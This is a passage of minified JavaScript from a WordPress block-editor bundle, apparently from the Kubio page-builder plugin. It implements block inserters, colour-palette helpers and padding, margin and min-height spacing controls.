Object(c.useSelect)((e=>e(b.a).canInsertBlockType(Object(s.getDefaultBlockName)(),t)))?Object(o.createElement)(u.a,{rootClientId:t}):Object(o.createElement)(d.b,{rootClientId:t,className:"block-list-appender__toggle"})}var m=function(e){let{rootClientId:t,renderAppender:n,className:r,tagName:i="div"}=e;const a=function(e,t){const{hideInserter:n,isParentSelected:r}=Object(c.useSelect)((t=>{const{getTemplateLock:n,getSelectedBlockClientId:o,__unstableGetEditorMode:r}=t(b.a),l=o();return{hideInserter:!!n(e)||"zoom-out"===r(),isParentSelected:e===l||!e&&!l}}),[e]);return n||!1===t?null:t?Object(o.createElement)(t,null):r?Object(o.createElement)(p,{rootClientId:e}):null}(t,n);return a?Object(o.createElement)(i,{tabIndex:-1,className:l()("block-list-appender wp-block",r),contentEditable:!1,"data-block":!0},a):null},f=n(2),g=n(133);const h=15,v=5,O=e=>null==e?void 0:e.closest("[data-block]"),k=e=>{var t,n,o;return 3===e.nodeType&&(e=e.parentElement),null!==(t=e)&&void 0!==t&&null!==(n=t.classList)&&void 0!==n&&n.contains("block-editor-block-list__layout")?e.parentElement.closest(".block-editor-block-list__layout"):null===(o=e)||void 0===o?void 0:o.closest(".block-editor-block-list__layout")},j=e=>{var t;return!!e&&(null!=e&&e.getAttribute("data-type")?e.hasAttribute("data-kubio-disable-inbetween-inserter")||(null===(t=Object(s.getBlockType)(null==e?void 0:e.getAttribute("data-type")))||void 0===t?void 0:t.innerBlocksDisableInBetweenInserter):void 0)};function _(){const e=Object(o.useContext)(g.a),t=Object(c.useSelect)((e=>e(b.a).getSettings().hasReducedUI||"zoom-out"===e(b.a).__unstableGetEditorMode()),[]),{getBlockListSettings:n,getBlockRootClientId:r,getBlockIndex:l,isBlockInsertionPointVisible:a,isMultiSelecting:s,getSelectedBlockClientIds:u,getTemplateLock:d}=Object(c.useSelect)(b.a),{showInsertionPoint:p,hideInsertionPoint:m}=Object(c.useDispatch)(b.a),_=Object(o.useRef)({}),y=Object(o.useCallback)(((e,t,n,o)=>{o&&_.current&&_.current.rootClientId===e&&_.current.index===t||(_.current={rootClientId:e,index:t},p(e,t,n))}),[]),E=Object(o.useCallback)((()=>{_.current=null,m()}),[]);return Object(i.useRefEffect)((t=>{const o=Object(f.throttle)((function(t){var o,r;if(e.current)return;if(s())return;let c=t.target;null!==(o=c.classList)&&void 0!==o&&o.contains("block-editor-block-list__layout")||(c=k(c));let i,u=O(c);for(;c&&j(u);)c=k(u),c&&(u=O(c));if(!c)return void(a()&&E());if(c.classList.contains("is-root-container")||(i=(c.getAttribute("data-block")?c:c.closest("[data-block]")).getAttribute("data-block")),d(i))return;const b=(null===(r=n(i))||void 0===r?void 0:r.orientation)||"vertical",p=c.getBoundingClientRect(),m=t.clientY-p.top,g=t.clientX-p.left,_=Array.from(c.children);let S=null,C=null;const w=_.length?Object(f.first)(_).getBoundingClientRect().top-p.top:null,B=_.length?Object(f.last)(_).getBoundingClientRect().bottom-p.top:null,I=_.length?Math.min(Math.max(v,_[0].offsetHeight/3),h):0,x=_.length?Math.min(Math.max(v,Object(f.last)(_).offsetHeight/3),h):0;if("vertical"===b&&m<=w+I?(S=_[0],C="top"):"vertical"===b&&m>=B-x?(S=Object(f.last)(_),C="bottom"):S=_.find(((e,t)=>{const n=t?_[t-1]:null;if("vertical"===b&&n){const t=Math.min(Math.max(5,Math.min(e.offsetHeight,n.offsetHeight)/3),h),o=n.offsetTop+n.offsetHeight-t,r=e.offsetTop+t;return o<=m&&m<=r}return"horizontal"===b&&e.offsetLeft>g})),!S)return void(a()&&E());if(!S.id&&(S=S.firstElementChild,!S))return void(a()&&E());if(S.classList.contains("is-selected")&&(!C||"top"===C))return void(a()&&E());const T=S.id.slice("block-".length);if(!T)return;const N=S.getBoundingClientRect();if("horizontal"===b&&(t.clientY>N.bottom||t.clientY<N.top)||"vertical"===b&&(t.clientX>N.right||t.clientX<N.left))return void(a()&&E());if(!i)return void(a()&&E());const M=l(T,i);y(i,M,{__unstableWithInserter:!0,kubioInsertionEdge:C},a())}),300);return t.addEventListener("mousemove",o),()=>{t.removeEventListener("mousemove",o)}}),[n,r,l,a,s,y,E,u,t])}const y="undefined"==typeof window?e=>{setTimeout((()=>e(Date.now())),0)}:window.requestIdleCallback||window.requestAnimationFrame,E="undefined"==typeof window?clearTimeout:window.cancelIdleCallback||window.cancelAnimationFrame;var S=n(107),C=n(3),w=n(48),B=n.n(w),I=n(271);function x(e){let{children:t}=e;const n=Object(o.useContext)(g.a),r=Object(o.useContext)(C.Disabled.Context);return n||r?t:(B()('wp.components.Popover.Slot name="block-toolbar"',{alternative:"wp.blockEditor.BlockTools",since:"5.8",version:"6.3"}),Object(o.createElement)(g.b,{__unstablePopoverSlot:"block-toolbar"},Object(o.createElement)(I.a,{__unstablePopoverSlot:"block-toolbar"}),t))}var T=n(141),N=n(192),M=n(68);const P=Object(o.createContext)(),L=Object(o.createContext)(),R=new WeakMap;function A(e){let{className:t,...n}=e;const[r,a]=Object(o.useState)(),s=Object(i.useViewportMatch)("medium"),{isOutlineMode:u,isFocusMode:d,editorMode:p}=Object(c.useSelect)((e=>{const{getSettings:t,__unstableGetEditorMode:n}=e(b.a),{outlineMode:o,focusMode:r}=t();return{isOutlineMode:o,isFocusMode:r,editorMode:n()}}),[]),m=Object(c.useRegistry)(),{setBlockVisibility:f}=Object(c.useDispatch)(b.a),g=Object(i.useDebounce)(Object(o.useCallback)((()=>{const e={};R.get(m).forEach((t=>{let[n,o]=t;e[n]=o})),f(e)}),[m]),500,{trailing:!0}),h=Object(o.useMemo)((()=>{const{IntersectionObserver:e}=window;if(e)return new e((e=>{R.get(m)||R.set(m,[]);for(const t of e){const e=t.target.getAttribute("data-block");R.get(m).push([e,t.isIntersecting])}g()}))}),[]),v=Object(N.b)({ref:Object(i.useMergeRefs)([Object(T.b)(),_(),a]),className:l()("is-root-container",t,{"is-outline-mode":u,"is-focus-mode":d&&s,"is-navigate-mode":"navigation"===p})},n);return Object(o.createElement)(P.Provider,{value:r},Object(o.createElement)(L.Provider,{value:h},Object(o.createElement)("div",v)))}function D(e){return function(){const{patterns:e,isPreviewMode:t}=Object(c.useSelect)((e=>{const{__experimentalBlockPatterns:t,__unstableIsPreviewMode:n}=e(b.a).getSettings();return{patterns:t,isPreviewMode:n}}),[]);Object(o.useEffect)((()=>{if(t)return;if(null==e||!e.length)return;let n,o=-1;const r=()=>{o++,o>=e.length||(Object(c.select)(b.a).__experimentalGetParsedPattern(e[o].name),n=y(r))};return n=y(r),()=>E(n)}),[e,t])}(),Object(o.createElement)(x,null,Object(o.createElement)(M.a,{value:M.b},Object(o.createElement)(A,e)))}function F(e){let{placeholder:t,rootClientId:n,renderAppender:r,__experimentalAppenderTagName:l,__experimentalLayout:i=S.c}=e;const{order:s,selectedBlocks:u,visibleBlocks:d}=Object(c.useSelect)((e=>{const{getBlockOrder:t,getSelectedBlockClientIds:o,__unstableGetVisibleBlocks:r}=e(b.a);return{order:t(n),selectedBlocks:o(),visibleBlocks:r()}}),[n]);return Object(o.createElement)(S.a,{value:i},s.map((e=>Object(o.createElement)(c.AsyncModeProvider,{key:e,value:!d.has(e)&&!u.includes(e)},Object(o.createElement)(a.b,{rootClientId:n,clientId:e})))),s.length<1&&t,Object(o.createElement)(m,{tagName:l,rootClientId:n,renderAppender:r}))}function z(e){return Object(o.createElement)(c.AsyncModeProvider,{value:!1},Object(o.createElement)(F,e))}D.__unstableElementContext=P},function(e,t,n){"use strict";n.d(t,"c",(function(){return c})),n.d(t,"b",(function(){return i})),n.d(t,"a",(function(){return a}));var o=n(0),r=n(11),l=n(181);function c(e){const{refs:t,callbacks:n}=Object(o.useContext)(l.a),c=Object(o.useRef)();return Object(o.useLayoutEffect)((()=>(t.set(c,e),()=>{t.delete(c)})),[e]),Object(r.useRefEffect)((t=>{c.current=t,n.forEach(((n,o)=>{e===n&&o(t)}))}),[e])}function i(e){const{refs:t}=Object(o.useContext)(l.a),n=Object(o.useRef)();return n.current=e,Object(o.useMemo)((()=>({get current(){let e=null;for(const[o,r]of t.entries())r===n.current&&o.current&&(e=o.current);return e}})),[])}function a(e){const{callbacks:t}=Object(o.useContext)(l.a),n=i(e),[r,c]=Object(o.useState)(null);return Object(o.useLayoutEffect)((()=>{if(e)return t.set(c,e),()=>{t.delete(c)}}),[e]),n.current||r}},function(e,t){!function(){e.exports=this.wp.keyboardShortcuts}()},,function(e,t,n){"use strict";n.d(t,"b",(function(){return s})),n.d(t,"c",(function(){return i})),n.d(t,"d",(function(){return a})),n.d(t,"a",(function(){return v})),n.d(t,"e",(function(){return O}));var o=n(2),r=n(92),l=n(128),c=n(170);Object(r.b)([l.a,c.a]);const i=(e,t,n)=>{if(t){const n=null==e?void 0:e.find((e=>e.slug===t));if(n)return n}return{color:n}},a=(e,t)=>null==e?void 0:e.find((e=>e.color===t));function s(e,t){if(e&&t)return`has-${Object(o.kebabCase)(t)}-${e}`}var u=n(8),d=n(0),b=n(11),p=n(30);const m=e=>{let[t,...n]=e;return t.toUpperCase()+n.join("")},f=e=>Object(b.createHigherOrderComponent)((t=>n=>Object(d.createElement)(t,Object(u.a)({},n,{colors:e}))),"withCustomColorPalette"),g=()=>Object(b.createHigherOrderComponent)((e=>t=>{const n=Object(p.a)("color.palette.custom"),o=Object(p.a)("color.palette.theme"),r=Object(p.a)("color.palette.default"),l=Object(d.useMemo)((()=>[...n||[],...o||[],...r||[]]),[n,o,r]);return Object(d.createElement)(e,Object(u.a)({},t,{colors:l}))}),"withEditorColorPalette");function h(e,t){const n=e.reduce(((e,t)=>({...e,..."string"==typeof t?{[t]:Object(o.kebabCase)(t)}:t})),{});return Object(b.compose)([t,e=>class extends d.Component{constructor(e){super(e),this.setters=this.createSetters(),this.colorUtils={getMostReadableColor:this.getMostReadableColor.bind(this)},this.state={}}getMostReadableColor(e){const{colors:t}=this.props;return function(e,t){const n=Object(r.a)(t),o=e=>{let{color:t}=e;return n.contrast(t)},l=Math.max(...e.map(o));return e.find((e=>o(e)===l)).color}(t,e)}createSetters(){return Object.keys(n).reduce(((e,t)=>{const n=m(t),o=`custom${n}`;return e[`set${n}`]=this.createSetColor(t,o),e}),{})}createSetColor(e,t){return n=>{const o=a(this.props.colors,n);this.props.setAttributes({[e]:o&&o.slug?o.slug:void 0,[t]:o&&o.slug?void 0:n})}}static getDerivedStateFromProps(e,t){let{attributes:o,colors:r}=e;return Object.entries(n).reduce(((e,n)=>{let[l,c]=n;const a=i(r,o[l],o[`custom${m(l)}`]),u=t[l];return(null==u?void 0:u.color)===a.color&&u?e[l]=u:e[l]={...a,class:s(c,a.slug)},e}),{})}render(){return Object(d.createElement)(e,Object(u.a)({},this.props,{colors:void 0},this.state,this.setters,{colorUtils:this.colorUtils}))}}])}function v(e){return function(){const t=f(e);for(var n=arguments.length,o=new Array(n),r=0;r<n;r++)o[r]=arguments[r];return Object(b.createHigherOrderComponent)(h(o,t),"withCustomColors")}}function O(){const e=g();for(var t=arguments.length,n=new Array(t),o=0;o<t;o++)n[o]=arguments[o];return Object(b.createHigherOrderComponent)(h(n,e),"withColors")}},function(e,t,n){e.exports=function(e,t){var n,o,r=0;function l(){var l,c,i=n,a=arguments.length;e:for(;i;){if(i.args.length===arguments.length){for(c=0;c<a;c++)if(i.args[c]!==arguments[c]){i=i.next;continue e}return i!==n&&(i===o&&(o=i.prev),i.prev.next=i.next,i.next&&(i.next.prev=i.prev),i.next=n,i.prev=null,n.prev=i,n=i),i.val}i=i.next}for(l=new Array(a),c=0;c<a;c++)l[c]=arguments[c];return i={args:l,val:e.apply(null,l)},n?(n.prev=i,i.next=n):o=i,r===t.maxSize?(o=o.prev).next=null:r++,n=i,i.val}return t=t||{},l.clear=function(){n=null,o=null,r=0},l}},,,,,,,,,,,,,function(e,t,n){"use strict";n.d(t,"a",(function(){return r})),n.d(t,"f",(function(){return l})),n.d(t,"g",(function(){return c})),n.d(t,"e",(function(){return i})),n.d(t,"c",(function(){return a})),n.d(t,"d",(function(){return s})),n.d(t,"b",(function(){return u}));var o=n(1);const r="__CREATE__",l="tel",c="URL",i="mailto",a="internal",s=[c,i,l,a],u=[{id:"opensInNewTab",title:Object(o.__)("Open in new tab","kubio")}]},function(e,t,n){"use strict";n.d(t,"b",(function(){return F})),n.d(t,"d",(function(){return z})),n.d(t,"a",(function(){return H})),n.d(t,"c",(function(){return $})),n.d(t,"e",(function(){return W})),n.d(t,"f",(function(){return K}));var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(3),a=n(1),s=n(12),u=n(7),d=n(50),b=n(67),p=n(119),m=n.n(p),f=n(30),g=n(41),h=n(147),v=n(127),O=n(53);function k(e){const t=Object(s.getBlockSupport)(e,z);return!!(!0===t||null!=t&&t.margin)}function j(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=!Object(f.a)("spacing.margin"),n=!K(e,"margin");return!k(e)||t||n}function _(e){var t,n;const{name:o,attributes:{style:l},setAttributes:c,onMouseOver:s,onMouseOut:u}=e,d=Object(f.a)("spacing.spacingSizes"),b=Object(i.__experimentalUseCustomUnits)({availableUnits:Object(f.a)("spacing.units")||["%","px","em","rem","vw"]}),p=W(o,"margin"),m=p&&p.some((e=>H.includes(e)));if(j(e))return null;const h=e=>{const t={...l,spacing:{...null==l?void 0:l.spacing,margin:e}};c({style:Object(g.a)(t)})};return r.Platform.select({web:Object(r.createElement)(r.Fragment,null,(!d||0===(null==d?void 0:d.length))&&Object(r.createElement)(i.__experimentalBoxControl,{values:null==l||null===(t=l.spacing)||void 0===t?void 0:t.margin,onChange:h,label:Object(a.__)("Margin","kubio"),sides:p,units:b,allowReset:!1,splitOnAxis:m,onMouseOver:s,onMouseOut:u}),(null==d?void 0:d.length)>0&&Object(r.createElement)(v.a,{values:null==l||null===(n=l.spacing)||void 0===n?void 0:n.margin,onChange:h,label:Object(a.__)("Margin","kubio"),sides:p,units:b,allowReset:!1,splitOnAxis:!1,onMouseOver:s,onMouseOut:u})),native:null})}function y(e){var t,n;let{clientId:o,attributes:l,forceShow:c}=e;const i=null==l||null===(t=l.style)||void 0===t||null===(n=t.spacing)||void 0===n?void 0:n.margin,a=Object(r.useMemo)((()=>{const e=null!=i&&i.top?Object(O.h)(null==i?void 0:i.top):0,t=null!=i&&i.right?Object(O.h)(null==i?void 0:i.right):0,n=null!=i&&i.bottom?Object(O.h)(null==i?void 0:i.bottom):0,o=null!=i&&i.left?Object(O.h)(null==i?void 0:i.left):0;return{borderTopWidth:e,borderRightWidth:t,borderBottomWidth:n,borderLeftWidth:o,top:e?`calc(${e} * -1)`:0,right:t?`calc(${t} * -1)`:0,bottom:n?`calc(${n} * -1)`:0,left:o?`calc(${o} * -1)`:0}}),[i]),[s,u]=Object(r.useState)(!1),d=Object(r.useRef)(i),b=Object(r.useRef)();return Object(r.useEffect)((()=>(m()(i,d.current)||c||(u(!0),d.current=i,b.current=setTimeout((()=>{u(!1)}),400)),()=>{u(!1),b.current&&window.clearTimeout(b.current)})),[i,c]),s||c?Object(r.createElement)(h.a,{clientId:o,__unstableCoverTarget:!0,__unstableRefreshSize:i,__unstablePopoverSlot:"block-toolbar",shift:!1},Object(r.createElement)("div",{className:"block-editor__padding-visualizer",style:a})):null}var E=n(221);function S(e){const t=Object(s.getBlockSupport)(e,F);return!!(!0===t||null!=t&&t.minHeight)}function C(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=!Object(f.a)("dimensions.minHeight");return!S(e)||t}function w(e){var t;const{attributes:{style:n},setAttributes:o}=e;return C(e)?null:Object(r.createElement)(E.a,{label:Object(a.__)("Min. height","kubio"),value:null==n||null===(t=n.dimensions)||void 0===t?void 0:t.minHeight,onChange:e=>{const t={...n,dimensions:{...null==n?void 0:n.dimensions,minHeight:e}};o({style:Object(g.a)(t)})}})}function B(e){const t=Object(s.getBlockSupport)(e,z);return!!(!0===t||null!=t&&t.padding)}function I(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=!Object(f.a)("spacing.padding"),n=!K(e,"padding");return!B(e)||t||n}function x(e){var t,n;const{name:o,attributes:{style:l},setAttributes:c,onMouseOver:s,onMouseOut:u}=e,d=Object(f.a)("spacing.spacingSizes"),b=Object(i.__experimentalUseCustomUnits)({availableUnits:Object(f.a)("spacing.units")||["%","px","em","rem","vw"]}),p=W(o,"padding"),m=p&&p.some((e=>H.includes(e)));if(I(e))return null;const h=e=>{const t={...l,spacing:{...null==l?void 0:l.spacing,padding:e}};c({style:Object(g.a)(t)})};return r.Platform.select({web:Object(r.createElement)(r.Fragment,null,(!d||0===(null==d?void 0:d.length))&&Object(r.createElement)(i.__experimentalBoxControl,{values:null==l||null===(t=l.spacing)||void 0===t?void 0:t.padding,onChange:h,label:Object(a.__)("Padding","kubio"),sides:p,units:b,allowReset:!1,splitOnAxis:m,onMouseOver:s,onMouseOut:u}),(null==d?void 0:d.length)>0&&Object(r.createElement)(v.a,{values:null==l||null===(n=l.spacing)||void 0===n?void 0:n.padding,onChange:h,label:Object(a.__)("Padding","kubio"),sides:p,units:b,allowReset:!1,splitOnAxis:m,onMouseOver:s,onMouseOut:u})),native:null})}function T(e){var t,n;let{clientId:o,attributes:l,forceShow:c}=e;const i=null==l||null===(t=l.style)||void 0===t||null===(n=t.spacing)||void 0===n?void 0:n.padding,a=Object(r.useMemo)((()=>({borderTopWidth:null!=i&&i.top?Object(O.h)(null==i?void 0:i.top):0,borderRightWidth:null!=i&&i.right?Object(O.h)(null==i?void 0:i.right):0,borderBottomWidth:null!=i&&i.bottom?Object(O.h)(null==i?void 0:i.bottom):0,borderLeftWidth:null!=i&&i.left?Object(O.h)(null==i?void 0:i.left):0})),[i]),[s,u]=Object(r.useState)(!1),d=Object(r.useRef)(i),b=Object(r.useRef)();return Object(r.useEffect)((()=>(m()(i,d.current)||c||(u(!0),d.current=i,b.current=setTimeout((()=>{u(!1)}),400)),()=>{u(!1),b.current&&window.clearTimeout(b.current)})),[i,c]),s||c?Object(r.createElement)(h.a,{clientId:o,__unstableCoverTarget:!0,__unstableRefreshSize:i,__unstablePopoverSlot:"block-toolbar",shift:!1},Object(r.createElement)("div",{className:"block-editor__padding-visualizer",style:a})):null}function N(e,t){const{orientation:n="horizontal"}=t;return"fill"===e?Object(a.__)("Stretch to fill available space.","kubio"):"fixed"===e?"horizontal"===n?Object(a.__)("Specify a fixed width.","kubio"):Object(a.__)("Specify a fixed height.","kubio"):Object(a.__)("Fit contents.","kubio")}function M(e){let{attributes:t,setAttributes:n,__unstableParentLayout:o}=e;const{style:l={}}=t,{layout:c={}}=l,{selfStretch:s,flexSize:u}=c;return Object(r.useEffect)((()=>{"fixed"!==s||u||n({style:{...l,layout:{...c,selfStretch:"fit"}}})}),[]),Object(r.createElement)(r.Fragment,null,Object(r.createElement)(i.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,size:"__unstable-large",label:R(o),value:s||"fit",help:N(s,o),onChange:e=>{const t="fixed"!==e?null:u;n({style:{...l,layout:{...c,selfStretch:e,flexSize:t}}})},isBlock:!0},Object(r.createElement)(i.__experimentalToggleGroupControlOption,{key:"fit",value:"fit",label:Object(a.__)("Fit","kubio")}),Object(r.createElement)(i.__experimentalToggleGroupControlOption,{key:"fill",value:"fill",label:Object(a.__)("Fill","kubio")}),Object(r.createElement)(i.__experimentalToggleGroupControlOption,{key:"fixed",value:"fixed",label:Object(a.__)("Fixed","kubio")})),"fixed"===s&&Object(r.createElement)(i.__experimentalUnitControl,{size:"__unstable-large",onChange:e=>{n({style:{...l,layout:{...c,flexSize:e}}})},value:u}))}function P(e){let{__unstableParentLayout:t={}}=e;const{type:n="default",default:{type:o="default"}={},allowSizingOnChildren:r=!1}=t;return("flex"===o||"flex"===n)&&r}function L(e){const t=!Object(f.a)("layout");return!P(e)||t}function R(e){const{orientation:t="horizontal"}=e;return"horizontal"===t?Object(a.__)("Width","kubio"):Object(a.__)("Height","kubio")}var A=n(14),D=n(97);const F="dimensions",z="spacing",V=["top","right","bottom","left"],H=["vertical","horizontal"];function G(){const[e,t]=Object(r.useState)(!1),{hideBlockInterface:n,showBlockInterface:o}=Object(D.c)(Object(u.useDispatch)(A.a));return{isMouseOver:e,onMouseOver:e=>{e.stopPropagation(),n(),t(!0)},onMouseOut:e=>{e.stopPropagation(),o(),t(!1)}}}function $(e){const t=Object(b.f)(e),n=I(e),l=j(e),u=C(e),p=L(e),m=U(e),h=function(e){if("web"!==r.Platform.OS)return!1;const{name:t}=e;return Object(b.c)(t)||S(t)||B(t)||k(t)||P(e)}(e),v=Object(f.a)("spacing.spacingSizes"),O=G(),E=G();if(m||!h)return null;const N=Object(s.getBlockSupport)(e.name,[F,"__experimentalDefaultControls"]),A=Object(s.getBlockSupport)(e.name,[z,"__experimentalDefaultControls"]),D=(e,t)=>n=>{var o;return{...n,style:{...n.style,[t]:{...null===(o=n.style)||void 0===o?void 0:o[t],[e]:void 0}}}},V=c()({"tools-panel-item-spacing":v&&v.length>0}),{__unstableParentLayout:H}=e;return Object(r.createElement)(r.Fragment,null,Object(r.createElement)(d.b,{group:"dimensions"},!n&&Object(r.createElement)(i.__experimentalToolsPanelItem,{className:V,hasValue:()=>function(e){var t,n;return void 0!==(null===(t=e.attributes.style)||void 0===t||null===(n=t.spacing)||void 0===n?void 0:n.padding)}(e),label:Object(a.__)("Padding","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:Object(g.a)({...o,spacing:{...null==o?void 0:o.spacing,padding:void 0}})})}(e),resetAllFilter:D("padding","spacing"),isShownByDefault:null==A?void 0:A.padding,panelId:e.clientId},Object(r.createElement)(x,Object(o.a)({onMouseOver:O.onMouseOver,onMouseOut:O.onMouseOut},e))),!l&&Object(r.createElement)(i.__experimentalToolsPanelItem,{className:V,hasValue:()=>function(e){var t,n;return void 0!==(null===(t=e.attributes.style)||void 0===t||null===(n=t.spacing)||void 0===n?void 0:n.margin)}(e),label:Object(a.__)("Margin","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:Object(g.a)({...o,spacing:{...null==o?void 0:o.spacing,margin:void 0}})})}(e),resetAllFilter:D("margin","spacing"),isShownByDefault:null==A?void 0:A.margin,panelId:e.clientId},Object(r.createElement)(_,Object(o.a)({onMouseOver:E.onMouseOver,onMouseOut:E.onMouseOut},e))),!t&&Object(r.createElement)(i.__experimentalToolsPanelItem,{className:V,hasValue:()=>Object(b.d)(e),label:Object(a.__)("Block spacing","kubio"),onDeselect:()=>Object(b.e)(e),resetAllFilter:D("blockGap","spacing"),isShownByDefault:null==A?void 0:A.blockGap,panelId:e.clientId},Object(r.createElement)(b.a,e)),!u&&Object(r.createElement)(i.__experimentalToolsPanelItem,{hasValue:()=>function(e){var t,n;return void 0!==(null===(t=e.attributes.style)||void 0===t||null===(n=t.dimensions)||void 0===n?void 0:n.minHeight)}(e),label:Object(a.__)("Min. height","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:Object(g.a)({...o,dimensions:{...null==o?void 0:o.dimensions,minHeight:void 0}})})}(e),resetAllFilter:D("minHeight","dimensions"),isShownByDefault:null==N?void 0:N.minHeight,panelId:e.clientId},Object(r.createElement)(w,e)),!p&&Object(r.createElement)(i.__experimentalVStack,{as:i.__experimentalToolsPanelItem,spacing:2,hasValue:()=>function(e){var t;return void 0!==(null===(t=e.attributes.style)||void 0===t?void 0:t.layout)}(e),label:R(H),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:{...o,layout:void 0}})}(e),resetAllFilter:D("selfStretch","layout"),isShownByDefault:!1,panelId:e.clientId},Object(r.createElement)(M,e))),!n&&Object(r.createElement)(T,Object(o.a)({forceShow:O.isMouseOver},e)),!l&&Object(r.createElement)(y,Object(o.a)({forceShow:E.isMouseOver},e)))}const U=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=Object(b.f)(e),n=C(e),o=I(e),r=j(e),l=L(e);return t&&n&&o&&r&&l};function W(e,t){var n;const o=Object(s.getBlockSupport)(e,z);if(o&&"boolean"!=typeof o[t])return Array.isArray(o[t])?o[t]:null!==(n=o[t])&&void 0!==n&&n.sides?o[t].sides:void 0}function K(e,t){const n=W(e,t);return!(n&&n.some((e=>V.includes(e)))&&n.some((e=>H.includes(e)))&&(console.warn(`The ${t} support for the "${e}" block can not be configured to support both axial and arbitrary sides.`),1))}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(2),c=n(13),i=n.n(c),a=n(63),s=n(1),u=n(3),d=n(7),b=n(11),p=n(12),m=n(315),f=n(19),g=n(269),h=n(247),v=n(258),O=n(174),k=n(115),j=n(14);const _=6,y=6;function E(e){let{onSelect:t,rootClientId:n,clientId:o,isAppender:l,ownerDocument:c,kubioInsertPosition:a}=e;const[b,p]=Object(r.useState)(""),[m,f]=Object(O.a)({onSelect:t,rootClientId:n,clientId:o,isAppender:l,ownerDocument:c,kubioInsertPosition:a}),[g]=Object(k.a)(m,f),E=g.length>_,{setInserterIsOpened:S,insertionIndex:C,totalInnerBlocks:w}=Object(d.useSelect)((e=>{const{getSettings:t,getBlockIndex:r,getBlockCount:l,getBlockOrder:c}=e(j.a),i=r(o,n);return{setInserterIsOpened:t().__experimentalSetIsInserterOpened,insertionIndex:-1===i?l():i,totalInnerBlocks:c(n).length}}),[o,n]);return Object(r.useEffect)((()=>{S&&S(!1)}),[S]),Object(r.createElement)("div",{className:i()("block-editor-inserter__quick-inserter",{"has-search":E,"has-expand":S})},E&&Object(r.createElement)(h.a,{value:b,onChange:e=>{p(e)},label:Object(s.__)("Search for blocks and patterns","kubio"),placeholder:Object(s.__)("Search","kubio")}),Object(r.createElement)("div",{className:"block-editor-inserter__quick-inserter-results"},Object(r.createElement)(v.a,{filterValue:b,onSelect:t,rootClientId:n,clientId:o,isAppender:l,maxBlockTypes:y,isDraggable:!1,isQuick:!0,kubioInsertPosition:a})),S&&Object(r.createElement)(u.Button,{className:"block-editor-inserter__quick-inserter-expand",onClick:e=>{e.target.blur();let t=C;"begin"===a&&(t=0),"end"===a&&(t=w),S({rootClientId:n,insertionIndex:t,isAppender:!0})},"aria-label":Object(s.__)("Browse all. This will open the main inserter panel in the editor toolbar.","kubio")},Object(s.__)("Browse all","kubio")))}const S=e=>{let t,{onToggle:n,disabled:l,isOpen:c,blockTitle:i,hasSingleBlockType:a,toggleProps:d={}}=e;t=a?Object(s.sprintf)(// translators: %s: the name of the block when there is only one
Object(s._x)("Add %s","directly add the only allowed block","kubio"),i):Object(s._x)("Add block","Generic label for block inserter button","kubio");const{onClick:b,...p}=d;return Object(r.createElement)(u.Button,Object(o.a)({icon:m.a,label:t,tooltipPosition:"bottom",onClick:function(e){n&&n(e),b&&b(e)},className:"block-editor-inserter__toggle","aria-haspopup":!a&&"true","aria-expanded":!a&&c,disabled:l},p))};class C extends r.Component{constructor(){super(...arguments),this.onToggle=this.onToggle.bind(this),this.renderToggle=this.renderToggle.bind(this),this.renderContent=this.renderContent.bind(this)}onToggle(e){const{onToggle:t}=this.props;t&&t(e)}renderToggle(e){let{onToggle:t,isOpen:n}=e;const{disabled:o,blockTitle:r,hasSingleBlockType:l,toggleProps:c,hasItems:i,renderToggle:a=S}=this.props;return a({onToggle:t,isOpen:n,disabled:o||!i,blockTitle:r,hasSingleBlockType:l,toggleProps:c})}renderContent(e){let{onClose:t}=e;const{rootClientId:n,clientId:o,isAppender:l,showInserterHelpPanel:c,__experimentalIsQuick:i,ownerDocument:a,kubioInsertPosition:s}=this.props;return i?Object(r.createElement)(E,{onSelect:()=>{t()},rootClientId:n,clientId:o,isAppender:l,ownerDocument:a,kubioInsertPosition:s}):Object(r.createElement)(g.a,{onSelect:()=>{t()},rootClientId:n,clientId:o,isAppender:l,showInserterHelpPanel:c,ownerDocument:a})}render(){const{position:e,hasSingleBlockType:t,insertOnlyAllowedBlock:n,__experimentalIsQuick:o,onSelectOrClose:l,getAnchorRect:c}=this.props;if(t)return this.renderToggle({onToggle:n});const a=Object(f.wpVersionCompare)("6.1","<")?{}:{position:e,placement:"bottom",getAnchorRect:c,flip:!0};return Object(r.createElement)(u.Dropdown,{className:"block-editor-inserter",contentClassName:i()("block-editor-inserter__popover",{"is-quick":o}),position:e,popoverProps:a,onToggle:this.onToggle,expandOnMobile:!0,headerTitle:Object(s.__)("Add a block","kubio"),renderToggle:this.renderToggle,renderContent:this.renderContent,onClose:l})}}t.a=Object(b.compose)([Object(d.withSelect)(((e,t)=>{let{clientId:n,rootClientId:o}=t;const{getBlockRootClientId:r,hasInserterItems:c,__experimentalGetAllowedBlocks:i,getAllowedBlocks:a}=e(j.a),{getBlockVariations:s}=e(p.store),u=a||i;o=o||r(n)||void 0;const d=u(o),b=1===Object(l.size)(d)&&0===Object(l.size)(s(d[0].name,"inserter"));let m=!1;return b&&(m=d[0]),{hasItems:c(o),hasSingleBlockType:b,blockTitle:m?m.title:"",allowedBlockType:m,rootClientId:o}})),Object(d.withDispatch)(((e,t,n)=>{let{select:o}=n;return{insertOnlyAllowedBlock(){const{rootClientId:n,clientId:r,isAppender:l,hasSingleBlockType:c,allowedBlockType:i,onSelectOrClose:u,kubioInsertPosition:d}=t;if(!c)return;const{insertBlock:b}=e(j.a);b(Object(p.createBlock)(i.name),function(){const{getBlockIndex:e,getBlockSelectionEnd:t,getBlockOrder:c,getBlockRootClientId:i}=o(j.a);if("begin"===d)return 0;if("end"===d)return c(n).length;if(r)return e(r,n);const a=t();return!l&&a&&i(a)===n?e(a,n)+1:c(n).length}(),n),u&&u();const 